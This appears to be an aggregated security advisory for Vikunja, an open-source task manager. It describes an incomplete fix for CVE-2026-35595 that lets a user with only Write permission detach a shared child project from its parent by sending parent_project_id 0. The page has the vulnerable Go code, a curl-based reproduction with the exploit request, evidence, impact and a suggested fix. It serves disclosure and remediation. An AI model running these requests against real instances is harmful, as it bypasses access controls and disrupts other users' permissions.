Vikunja is an open-source self-hosted task management platform. From 2.3.0 until 2.4.0, a user with Write but not Admin permission on a shared child project can detach it from its parent hierarchy by submitting parent_project_id equal to 0 to POST /api/v1/projects/{project}. The Project.CanUpdate authorization check in pkg/models/project_permissions.go and UpdateProject logic in pkg/models/project.go only gate nonzero parent values, while UpdateProject always persists parent_project_id, so the explicit zero value bypasses the Admin requirement introduced for CVE-2026-35595. Detachment severs the recursive permission-inheritance chain and can disrupt the owner’s hierarchy and inherited collaborator access. This issue is fixed in version 2.4.0.
Vikunja is an open-source self-hosted task management platform. From 2.3.0 until 2.4.0, a user with Write but not Admin permission on a shared child project can detach it from its parent hierarchy by submitting parent_project_id equal to 0 to POST /api/v1/projects/{project}. The Project.CanUpdate authorization check in pkg/models/project_permissions.go and UpdateProject logic in pkg/models/project.go only gate nonzero parent values, while UpdateProject always persists parent_project_id, so the explicit zero value bypasses the Admin requirement introduced for CVE-2026-35595. Detachment severs the recursive permission-inheritance chain and can disrupt the owner’s hierarchy and inherited collaborator access. This issue is fixed in version 2.4.0.
Vikunja is an open-source self-hosted task management platform. From 2.3.0 until 2.4.0, a user with Write but not Admin permission on a shared child project can detach it from its parent hierarchy by submitting parent_project_id equal to 0 to POST /api/v1/projects/{project}. The Project.CanUpdate authorization check in pkg/models/project_permissions.go and UpdateProject logic in pkg/models/project.go only gate nonzero parent values, while UpdateProject always persists parent_project_id, so the explicit zero value bypasses the Admin requirement introduced for CVE-2026-35595. Detachment severs the recursive permission-inheritance chain and can disrupt the owner’s hierarchy and inherited collaborator access. This issue is fixed in version 2.4.0.
## Summary
The fix for CVE-2026-35595 (project re-parenting privilege escalation) only gates reparent operations when `parent_project_id > 0`. A user with Write (but not Admin) permission on a shared child project can detach it from its parent by sending `parent_project_id: 0`, bypassing the Admin requirement. This severs the recursive CTE permission inheritance chain, potentially disrupting the project hierarchy and affecting inherited access for other collaborators.
## Affected component
- **Package:** go-vikunja/vikunja
- **Affected versions:** v2.3.0 and later (including latest unstable v2.3.0-246-9852aff4). The fix for CVE-2026-35595 was introduced in v2.3.0 but left the detach-to-root case unpatched. Fixed in 2.4.0.
- **Tested on:** Vikunja v2.3.0 (Docker image vikunja/vikunja:2.3.0) AND latest unstable (vikunja/vikunja:unstable, v2.3.0-246-9852aff4 built 2026-04-27)
## Technical detail
### Vulnerable code
**File: `pkg/models/project.go` (lines 1009-1041)**
```go
// GHSA-2vq4-854f-5c72 / CVE-2026-35595: the recursive permission CTE
// cascades Admin from any owned ancestor, so moving a shared child
// under an attacker-owned root grants Admin on the child. Require
// Admin on both sides of a reparent.
//
// Only gate on non-zero ParentProjectID: the generic update handler
// binds a fresh struct, so an omitted parent_project_id is
// indistinguishable from an explicit 0. Detach-to-root is therefore
// out of scope here -- a proper fix needs a pointer field.
if project.ParentProjectID > 0 {
// ... Admin check (lines 1019-1041) -- SKIPPED when ParentProjectID == 0
}
```
**File: `pkg/models/project_permissions.go` (line 145)**
```go
if p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID {
// reparent permission check -- SKIPPED when ParentProjectID == 0
}
```
**File: `pkg/models/project.go` (line 1065)**
```go
colsToUpdate := []string{
"title", "is_archived", "identifier", "hex_color",
"parent_project_id", // <-- ALWAYS included, writes 0 to DB
"position",
}
```
### Why it's exploitable
1. The generic web handler (`pkg/web/handler/update.go:37`) creates a fresh empty `Project{}` struct -- `ParentProjectID` defaults to Go's zero value (0).
2. When JSON body contains `"parent_project_id": 0`, the struct has `ParentProjectID == 0`.
3. `CanUpdate` at line 145: `ParentProjectID != 0` is false -- reparent check skipped -- falls through to `CanWrite` which succeeds (attacker has Write).
4. `UpdateProject` at line 1018: `ParentProjectID > 0` is false -- Admin gate skipped entirely.
5. xorm writes `parent_project_id = 0` because `"parent_project_id"` is always in `colsToUpdate` with `Cols()`.
6. The project is detached from its parent hierarchy.
### Precondition checklist
- [x] Attacker has authenticated account
- [x] Attacker has Write permission on a child project (via direct share or team membership)
- [x] The target project has a non-zero parent_project_id (it's a child of another project)
- [x] Default Vikunja configuration (no special setup needed)
### Reproduction
**Prerequisites:** Two users (victim = project owner, attacker = Write-only collaborator), a parent project, and a child project shared with the attacker at Write permission.
1. Authenticate as attacker:
```bash
TOKEN=$(curl -s -X POST http://localhost:3456/api/v1/login \
-H 'Content-Type: application/json' \
-d '{"username":"user_a","password":"UserAPassword1!"}' | jq -r '.token')
```
2. Verify attacker does NOT have Admin (delete should return 403):
```bash
curl -s -o /dev/null -w '%{http_code}' -X DELETE http://localhost:3456/api/v1/projects/4 \
-H "Authorization: Bearer $TOKEN"
# Expected: 403
```
3. Exploit -- detach project from parent:
```bash
curl -s -X POST http://localhost:3456/api/v1/projects/4 \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"title":"Sensitive Child Project","parent_project_id":0}'
```
4. Verify detachment:
```bash
curl -s http://localhost:3456/api/v1/projects/4 \
-H "Authorization: Bearer $TOKEN" | jq '.parent_project_id'
# Returns: 0 (was: 3)
```
### Evidence (3 independent runs)
| Run | parent_project_id BEFORE | DELETE attempt (proves no Admin) | parent_project_id AFTER | Result |
|-----|--------------------------|----------------------------------|-------------------------|--------|
| 1 | 3 (child of project 3) | HTTP 403 Forbidden | null (detached to root) | CONFIRMED |
| 2 | 3 (child of project 3) | HTTP 403 Forbidden | null (detached to root) | CONFIRMED |
| 3 | 3 (child of project 3) | HTTP 403 Forbidden | null (detached to root) | CONFIRMED |
*Note: "null (detached to root)" means `parent_project_id` was set to `0` in the database, making the project a root-level project with no parent.*
## Impact
- **Unauthorized hierarchy modification:** A user with only Write permission can detach a child project from its parent, which should require Admin permission (as established by the CVE-2026-35595 fix for non-zero reparents).
- **Permission inheritance disruption:** The recursive CTE permission model traverses `parent_project_id` upward. Detaching a project severs this chain, potentially causing other collaborators who inherited access through the parent to lose their permissions on the detached project.
- **Organizational disruption:** The project moves from a structured hierarchy to a root-level project, breaking the owner's intended organizational structure.
## Suggested fix
Use a pointer field `*int64` for `ParentProjectID` to distinguish between "field omitted" (nil) and "explicitly set to 0" (detach). The fix commit itself acknowledges this at `project.go:1017`: "a proper fix needs a pointer field."
Alternatively, add a dedicated `detach` boolean field or a separate API endpoint for detaching projects, with its own Admin permission check.
Vikunja has an incomplete fix for CVE-2026-35595: Write-only user can detach shared project from parent hierarchy via parent_project_id=0 in code.vikunja.io/api.
NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.
(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)
The additional affected modules and versions are: code.vikunja.io/api from v2.3.0 before v2.4.0.
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Aug 28, 2026, 4:38:38 PM
dateUpdated: Aug 28, 2026, 8:29:30 PM
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-862
Original publisher date fields
published: 2026-08-28T20:18:23.613
lastModified: 2026-09-09T21:09:13.080
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.